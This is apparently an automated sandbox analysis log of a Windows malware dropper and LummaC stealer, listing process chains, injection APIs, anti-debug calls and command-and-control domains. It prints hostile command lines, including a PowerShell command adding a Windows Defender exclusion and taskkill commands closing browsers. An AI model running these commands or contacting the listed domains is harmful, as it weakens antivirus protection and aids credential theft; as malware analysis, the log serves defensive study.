Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Code function: 5_2_0026A302 mov eax, dword ptr fs:[00000030h]	5_2_0026A302
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_0083619E mov edi, dword ptr fs:[00000030h]	10_2_0083619E
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_00801690 mov edi, dword ptr fs:[00000030h]	10_2_00801690

Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe

Code function: 10_2_0081C705 GetProcessHeap,

10_2_0081C705

Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF4B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6BF4B1F7
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF4B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6BF4B66C
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_0080E06C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_0080E06C
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_008172FD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_008172FD
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_0080E420 SetUnhandledExceptionFilter,	10_2_0080E420
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_0080E42C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0080E42C

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: NU4SX64NXMV3YXYV8G3PIA0S0.exe PID: 4144, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm'
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm'

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe

Code function: 10_2_0083619E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

10_2_0083619E

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe

Memory written: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 9ce3a8a3dc.exe, 0000000A.00000002.2201820635.00000000028AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: 9ce3a8a3dc.exe, 0000000A.00000002.2201820635.00000000028AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: 9ce3a8a3dc.exe, 0000000A.00000002.2201820635.00000000028AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: 9ce3a8a3dc.exe, 0000000A.00000002.2201820635.00000000028AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: 9ce3a8a3dc.exe, 0000000A.00000002.2201820635.00000000028AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: 9ce3a8a3dc.exe, 0000000A.00000002.2201820635.00000000028AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: 9ce3a8a3dc.exe, 0000000A.00000002.2201820635.00000000028AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: 9ce3a8a3dc.exe, 0000000A.00000002.2201820635.00000000028AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: 9ce3a8a3dc.exe, 0000000A.00000002.2201820635.00000000028AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FIJDGIJJKE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe "C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe "C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe "C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe "C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe "C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe "C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe "C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe "C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe "C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe "C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe "C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe "C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe "C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Process created: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe "C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\FIJDGIJJKE.exe "C:\Users\user\Documents\FIJDGIJJKE.exe"
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Process created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Process created: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe "C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe"
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Process created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm'

Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Binary or memory string: tProgram Manager
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2325888288.0000000000B36000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: ^Program Manager
Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe, 00000005.00000002.2080255805.0000000000464000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 0000000E.00000002.2360101734.0000000000E34000.00000040.00000001.01000000.0000000C.sdmp, FIJDGIJJKE.exe, 00000011.00000002.2387213619.0000000001064000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: tProgram Manager

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Code function: 4_2_6BF4B341 cpuid

4_2_6BF4B341

Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: GetLocaleInfoW,	10_2_008208CD
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_00820062
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: EnumSystemLocalesW,	10_2_008202B3
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: GetLocaleInfoW,	10_2_0081BA4C
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_0082034E
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: EnumSystemLocalesW,	10_2_008205A1
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: EnumSystemLocalesW,	10_2_008206D5
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: GetLocaleInfoW,	10_2_00820600
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_008207C7
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: EnumSystemLocalesW,	10_2_0081BFF0
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: GetLocaleInfoW,	10_2_00820720

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\random(4).exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028440001\a098b3631cf208cac539d0c4da0de1eb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028440001\a098b3631cf208cac539d0c4da0de1eb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
